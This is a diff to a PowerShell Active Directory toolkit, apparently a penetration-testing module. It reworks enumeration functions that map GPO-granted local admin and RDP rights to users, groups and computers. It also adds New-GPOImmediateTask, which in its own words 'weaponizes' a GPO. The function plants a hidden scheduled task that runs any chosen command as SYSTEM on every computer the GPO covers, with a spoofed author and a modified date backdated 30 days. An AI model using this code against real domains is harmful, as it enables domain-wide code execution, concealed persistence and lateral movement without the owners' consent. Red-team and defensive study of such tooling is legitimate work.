- Write-Verbose "Parsing $GptTmplPath"
+ Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object {
+ if ($_ -match '\[') {
+ # this signifies that we're starting a new section
+ $SectionName = $_.trim('[]') -replace ' ',''
+ }
+ elseif($_ -match '=') {
+ $Parts = $_.split('=')
+ $PropertyName = $Parts[0].trim()
+ $PropertyValues = $Parts[1].trim()
- Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object {
- if ($_ -match '\[') {
- # this signifies that we're starting a new section
- $SectionName = $_.trim('[]') -replace ' ',''
+ if($PropertyValues -match ',') {
+ $PropertyValues = $PropertyValues.split(',')
}
- elseif($_ -match '=') {
- $Parts = $_.split('=')
- $PropertyName = $Parts[0].trim()
- $PropertyValues = $Parts[1].trim()
-
- if($PropertyValues -match ',') {
- $PropertyValues = $PropertyValues.split(',')
- }
- if(!$SectionsTemp[$SectionName]) {
- $SectionsTemp.Add($SectionName, @{})
- }
-
- # add the parsed property into the relevant Section name
- $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues )
+ if(!$SectionsTemp[$SectionName]) {
+ $SectionsTemp.Add($SectionName, @{})
}
- }
- ForEach ($Section in $SectionsTemp.keys) {
- # transform each nested hash table into a custom object
- $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section]
+ # add the parsed property into the relevant Section name
+ $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues )
}
+ }
- # transform the parent hash table into a custom object
- New-Object PSObject -Property $SectionsFinal
+ ForEach ($Section in $SectionsTemp.keys) {
+ # transform each nested hash table into a custom object
+ $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section]
}
+
+ # transform the parent hash table into a custom object
+ New-Object PSObject -Property $SectionsFinal
}
catch {
Write-Debug "Error parsing $GptTmplPath : $_"
@@ -5175,7 +5588,7 @@ function Get-GptTmpl {
end {
if($UsePSDrive -and $RandDrive) {
Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive
+ Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
}
}
}
@@ -5198,7 +5611,6 @@ function Get-GroupsXML {
.PARAMETER UsePSDrive
Switch. Mount the target groups.xml folder path as a temporary PSDrive.
-
#>
[CmdletBinding()]
@@ -5239,10 +5651,8 @@ function Get-GroupsXML {
process {
- # parse the Groups.xml file if it exists
- if(Test-Path $GroupsXMLPath) {
-
- [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath
+ try {
+ [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object {
@@ -5308,18 +5718,20 @@ function Get-GroupsXML {
}
}
}
+ catch {
+ Write-Debug "Error parsing $GptTmplPath : $_"
+ }
}
end {
if($UsePSDrive -and $RandDrive) {
Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive
+ Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
}
}
}
-
function Get-NetGPO {
<#
.SYNOPSIS
@@ -5334,6 +5746,10 @@ function Get-NetGPO {
The GPO display name to query for, wildcards accepted.
+ .PARAMETER ComputerName
+
+ Return all GPO objects applied to a given computer (FQDN).
+
.PARAMETER Domain
The domain to query for GPOs, defaults to the current domain.
@@ -5351,6 +5767,11 @@ function Get-NetGPO {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetGPO -Domain testlab.local
@@ -5367,6 +5788,9 @@ function Get-NetGPO {
$DisplayName,
[String]
+ $ComputerName,
+
+ [String]
$Domain,
[String]
@@ -5377,26 +5801,325 @@ function Get-NetGPO {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
- $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
process {
if ($GPOSearcher) {
- if($DisplayName) {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
+
+ if($ComputerName) {
+ $GPONames = @()
+ $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
+
+ if(!$Computers) {
+ throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
+ }
+
+ # get the given computer's OU
+ $ComputerOUs = @()
+ ForEach($Computer in $Computers) {
+ # extract all OUs a computer is a part of
+ $DN = $Computer.distinguishedname
+
+ $ComputerOUs += $DN.split(",") | ForEach-Object {
+ if($_.startswith("OU=")) {
+ $DN.substring($DN.indexof($_))
+ }
+ }
+ }
+
+ Write-Verbose "ComputerOUs: $ComputerOUs"
+
+ # find all the GPOs linked to the computer's OU
+ ForEach($ComputerOU in $ComputerOUs) {
+ $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
+ # get any GPO links
+ write-verbose "blah: $($_.name)"
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ }
+
+ Write-Verbose "GPONames: $GPONames"
+
+ # find any GPOs linked to the site for the given computer
+ $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
+ if($ComputerSite -and ($ComputerSite -ne 'ERROR')) {
+ $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ }
+ }
+
+ $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
+
+ # use the gplink as an ADS path to enumerate all GPOs for the computer
+ $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+
+ try {
+ $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
+ $Out = Convert-LDAPProperty -Properties $_.Properties
+ $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $Out
+ }
+ }
+ catch {
+ Write-Warning $_
+ }
+ }
}
+
else {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+ if($DisplayName) {
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
+ }
+ else {
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+ }
+
+ try {
+ $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
+ # convert/process the LDAP fields for each result
+ Convert-LDAPProperty -Properties $_.Properties
+ }
+ }
+ catch {
+ Write-Warning $_
+ }
}
+ }
+ }
+}
- $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+
+function New-GPOImmediateTask {
+<#
+ .SYNOPSIS
+
+ Builds an 'Immediate' schtask to push out through a specified GPO.
+
+ .PARAMETER TaskName
+
+ Name for the schtask to recreate. Required.
+
+ .PARAMETER Command
+
+ The command to execute with the task, defaults to 'powershell'
+
+ .PARAMETER CommandArguments
+
+ The arguments to supply to the -Command being launched.
+
+ .PARAMETER TaskDescription
+
+ An optional description for the task.
+
+ .PARAMETER TaskAuthor
+
+ The displayed author of the task, defaults to ''NT AUTHORITY\System'
+
+ .PARAMETER TaskModifiedDate
+
+ The displayed modified date for the task, defaults to 30 days ago.
+
+ .PARAMETER GPOname
+
+ The GPO name to build the task for.
+
+ .PARAMETER GPODisplayName
+
+ The GPO display name to build the task for.
+
+ .PARAMETER Domain
+
+ The domain to query for the GPOs, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through
+ e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target.
+
+ .EXAMPLE
+
+ PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force
+
+ Create an immediate schtask that executes the specified PowerShell arguments and
+ push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.
+
+ .EXAMPLE
+
+ PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force
+
+ Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.
+#>
+ [CmdletBinding(DefaultParameterSetName = 'Create')]
+ Param (
+ [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskName,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $Command = 'powershell',
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $CommandArguments,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskDescription = '',
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskAuthor = 'NT AUTHORITY\System',
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $GPOname,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $GPODisplayName,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $Domain,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $DomainController,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $ADSpath,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [Switch]
+ $Force,
+
+ [Parameter(ParameterSetName = 'Remove')]
+ [Switch]
+ $Remove,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ # build the XML spec for our 'immediate' scheduled task
+ $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
+
+ if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
+ Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
+ return
+ }
+
+ # eunmerate the specified GPO(s)
+ $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential
+
+ if(!$GPOs) {
+ Write-Warning 'No GPO found.'
+ return
+ }
+
+ $GPOs | ForEach-Object {
+ $ProcessedGPOName = $_.Name
+ try {
+ Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"
+
+ # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(
+ if($Credential) {
+ Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
+ $Path = $_.gpcfilesyspath.TrimEnd('\')
+ $Net = New-Object -ComObject WScript.Network
+ $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+ $TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
+ }
+ else {
+ $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
+ }
+
+ if($Remove) {
+ if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
+ Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
+ }
+
+ if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
+ return
+ }
+
+ Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
+ }
+ else {
+ if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
+ return
+ }
+
+ # create the folder if it doesn't exist
+ $Null = New-Item -ItemType Directory -Force -Path $TaskPath
+
+ if(Test-Path "$TaskPath\ScheduledTasks.xml") {
+ Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
+ }
+
+ $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
+ }
+
+ if($Credential) {
+ Write-Verbose "Removing mounted drive at N:\"
+ $Net = New-Object -ComObject WScript.Network
+ $Net.RemoveNetworkDrive("N:")
+ }
+ }
+ catch {
+ Write-Warning "Error for GPO $ProcessedGPOName : $_"
+ if($Credential) {
+ Write-Verbose "Removing mounted drive at N:\"
+ $Net = New-Object -ComObject WScript.Network
+ $Net.RemoveNetworkDrive("N:")
}
}
}
@@ -5479,7 +6202,7 @@ function Get-NetGPOGroup {
)
# get every GPO from the specified domain with restricted groups set
- Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object {
+ Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
$Memberof = $Null
$Members = $Null
@@ -5500,33 +6223,44 @@ function Get-NetGPOGroup {
$Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') }
$Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') }
- # only return an object if Members are found
- if ($Members -or $Memberof) {
-
- # if there is no Memberof defined, assume local admins
- if(!$Memberof) {
- $Memberof = 'S-1-5-32-544'
+ if(!$Members) {
+ try {
+ $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name
+ $Members = ($MembersRaw -split "__")[0].trim("*")
+ }
+ catch {
+ $MembersRaw = ''
}
+ }
- if($ResolveSids) {
- $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_}
- $Members = $Members | ForEach-Object {Convert-SidToName $_}
+ if(!$Memberof) {
+ try {
+ $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name
+ $Memberof = ($MemberofRaw -split "__")[0].trim("*")
+ }
+ catch {
+ $Memberof = ''
}
+ }
- if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)}
- if($Members -isnot [system.array]) {$Members = @($Members)}
+ if($ResolveSids) {
+ $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ }
+ $Members = $Members | ForEach-Object { Convert-SidToName $_ }
+ }
- $GPOProperties = @{
- 'GPODisplayName' = $GPODisplayName
- 'GPOName' = $GPOName
- 'GPOPath' = $GPOPath
- 'Filters' = $Null
- 'MemberOf' = $Memberof
- 'Members' = $Members
- }
+ if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)}
+ if($Members -isnot [System.Array]) {$Members = @($Members)}
- New-Object -TypeName PSObject -Property $GPOProperties
+ $GPOProperties = @{
+ 'GPODisplayName' = $GPODisplayName
+ 'GPOName' = $GPOName
+ 'GPOPath' = $GPOPath
+ 'Filters' = $Null
+ 'MemberOf' = $Memberof
+ 'Members' = $Members
}
+
+ New-Object -TypeName PSObject -Property $GPOProperties
}
$ParseArgs = @{
@@ -5647,7 +6381,7 @@ function Find-GPOLocation {
$TargetSid = $UserSid
$ObjectSamAccountName = $User.samaccountname
- $ObjectDistName = $User.distinguishedname
+ $TargetObjects = $UserSid
}
elseif($GroupName) {
@@ -5660,19 +6394,19 @@ function Find-GPOLocation {
$TargetSid = $GroupSid
$ObjectSamAccountName = $Group.samaccountname
- $ObjectDistName = $Group.distinguishedname
+ $TargetObjects = $GroupSid
}
else {
- throw "-UserName or -GroupName must be specified!"
+ $TargetSid = '*'
}
if($LocalGroup -like "*Admin*") {
- $LocalSID = "S-1-5-32-544"
+ $LocalSID = 'S-1-5-32-544'
}
elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
- $LocalSID = "S-1-5-32-555"
+ $LocalSID = 'S-1-5-32-555'
}
- elseif ($LocalGroup -like "S-1-5*") {
+ elseif ($LocalGroup -like "S-1-5-*") {
$LocalSID = $LocalGroup
}
else {
@@ -5681,15 +6415,16 @@ function Find-GPOLocation {
Write-Verbose "LocalSid: $LocalSID"
Write-Verbose "TargetSid: $TargetSid"
- Write-Verbose "TargetObjectDistName: $ObjectDistName"
- if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) }
+ if($TargetSid -ne '*') {
+ if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) }
- # use the tokenGroups approach from Get-NetGroup to get all effective
- # security SIDs this object is a part of
- $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
+ # use the tokenGroups approach from Get-NetGroup to get all effective
+ # security SIDs this object is a part of
+ $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
- if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) }
+ if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) }
+ }
Write-Verbose "Effective target sids: $TargetSid"
@@ -5703,104 +6438,108 @@ function Find-GPOLocation {
# get all GPO groups, and filter on ones that match our target SID list
# and match the target local sid memberof list
$GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
-
if ($_.members) {
$_.members = $_.members | Where-Object {$_} | ForEach-Object {
- if($_ -match "S-1-5") {
+ if($_ -match '^S-1-.*') {
$_
}
else {
# if there are any plain group names, try to resolve them to sids
- Convert-NameToSid -ObjectName $_ -Domain $Domain
+ (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID
}
- }
+ } | Sort-Object -Unique
# stop PowerShell 2.0's string stupid unboxing
- if($_.members -isnot [system.array]) { $_.members = @($_.members) }
- if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) }
-
- if($_.members) {
- try {
- # only return groups that contain a target sid
-
- # TODO: fix stupid weird "-DifferenceObject" is null error
- if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) {
- if ($_.memberof -contains $LocalSid) {
- $_
- }
- }
- }
- catch {
- Write-Debug "Error comparing members and $TargetSid : $_"
+ if($_.members -isnot [System.Array]) { $_.members = @($_.members) }
+ if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) }
+
+ # check if the memberof contains the sid of the local account we're searching for
+ Write-Verbose "memberof: $($_.memberof)"
+ if ($_.memberof -contains $LocalSid) {
+ # check if there's an overlap between the members field and the set of target sids
+ # if $TargetSid = *, then return all results
+ if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) {
+ $_
}
}
}
}
- Write-Verbose "GPOgroups: $GPOgroups"
$ProcessedGUIDs = @{}
# process the matches and build the result objects
$GPOgroups | Where-Object {$_} | ForEach-Object {
$GPOguid = $_.GPOName
+ $GPOMembers = $_.Members
+
+ if(!$TargetObjects) {
+ # if the * wildcard was used, set the ObjectDistName as the GPO member sid set
+ $TargetObjects = $GPOMembers
+ }
if( -not $ProcessedGUIDs[$GPOguid] ) {
$GPOname = $_.GPODisplayName
$Filters = $_.Filters
- # find any OUs that have this GUID applied
+ # find any OUs that have this GUID applied and then retrieve any computers from the OU
Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
if($Filters) {
# filter for computer name/org unit if a filter is specified
# TODO: handle other filters?
- $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
+ $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
$_.adspath -match ($Filters.Value)
} | ForEach-Object { $_.dnshostname }
}
else {
- $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize
+ $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
}
- $GPOLocation = New-Object PSObject
- $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName
- $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname
- $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid
- $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
- $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers
- $GPOLocation
+ ForEach ($TargetSid in $TargetObjects) {
+
+ $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize
+
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+
+ $GPOLocation = New-Object PSObject
+ $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
+ $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname
+ $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid
+ $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
+ $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers
+ $GPOLocation
+ }
}
# find any sites that have this GUID applied
- # TODO: fix, this isn't the correct way to query computers from a site...
- # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object {
- # if($Filters) {
- # # filter for computer name/org unit if a filter is specified
- # # TODO: handle other filters?
- # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? {
- # $_.adspath -match ($Filters.Value)
- # } | Foreach-Object {$_.dnshostname}
- # }
- # else {
- # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath
- # }
-
- # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath
- # $out = New-Object PSObject
- # $out | Add-Member Noteproperty 'Object' $ObjectDistName
- # $out | Add-Member Noteproperty 'GPOname' $GPOname
- # $out | Add-Member Noteproperty 'GPOguid' $GPOguid
- # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
- # $out | Add-Member Noteproperty 'Computers' $OUComputers
- # $out
- # }
+ Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
+
+ ForEach ($TargetSid in $TargetObjects) {
+ $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize
+
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+
+ $AppliedSite = New-Object PSObject
+ $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
+ $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname
+ $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid
+ $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
+ $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl
+ $AppliedSite
+ }
+ }
# mark off this GPO GUID so we don't process it again if there are dupes
$ProcessedGUIDs[$GPOguid] = $True
}
}
-
}
@@ -5897,23 +6636,51 @@ function Find-GPOComputerAdmin {
Throw "-ComputerName or -OUName must be provided"
}
+ $GPOGroups = @()
+
if($ComputerName) {
$Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
if(!$Computers) {
- throw "Computer $Computer in domain '$Domain' not found!"
+ throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
}
+ $TargetOUs = @()
ForEach($Computer in $Computers) {
# extract all OUs a computer is a part of
$DN = $Computer.distinguishedname
- $TargetOUs = $DN.split(",") | Foreach-Object {
+ $TargetOUs += $DN.split(",") | ForEach-Object {
if($_.startswith("OU=")) {
$DN.substring($DN.indexof($_))
}
}
}
+
+ # enumerate any linked GPOs for the computer's site
+ $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
+ if($ComputerSite -and ($ComputerSite -ne 'ERROR')) {
+ $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ } | ForEach-Object {
+ $GPOGroupArgs = @{
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'ADSpath' = $_
+ 'UsePSDrive' = $UsePSDrive
+ 'PageSize' = $PageSize
+ }
+
+ # for each GPO link, get any locally set user/group SIDs
+ Get-NetGPOGroup @GPOGroupArgs
+ }
+ }
}
else {
$TargetOUs = @($OUName)
@@ -5921,19 +6688,19 @@ function Find-GPOComputerAdmin {
Write-Verbose "Target OUs: $TargetOUs"
- $TargetOUs | Where-Object {$_} | Foreach-Object {
-
- $OU = $_
+ $TargetOUs | Where-Object {$_} | ForEach-Object {
# for each OU the computer is a part of, get the full OU object
- $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object {
+ $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
# and then get any GPO links
- $_.gplink.split("][") | Foreach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
}
}
- } | Foreach-Object {
+ } | ForEach-Object {
$GPOGroupArgs = @{
'Domain' = $Domain
'DomainController' = $DomainController
@@ -5945,69 +6712,77 @@ function Find-GPOComputerAdmin {
# for each GPO link, get any locally set user/group SIDs
Get-NetGPOGroup @GPOGroupArgs
}
+ }
- # for each found GPO group, resolve the SIDs of the members
- $GPOgroups | Where-Object {$_} | Foreach-Object {
- $GPO = $_
- $GPO.members | Foreach-Object {
+ # for each found GPO group, resolve the SIDs of the members
+ $GPOgroups | Where-Object {$_} | ForEach-Object {
+ $GPO = $_
- # resolvethis SID to a domain object
- $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize
+ if ($GPO.members) {
+ $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object {
+ if($_ -match '^S-1-.*') {
+ $_
+ }
+ else {
+ # if there are any plain group names, try to resolve them to sids
+ (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID
+ }
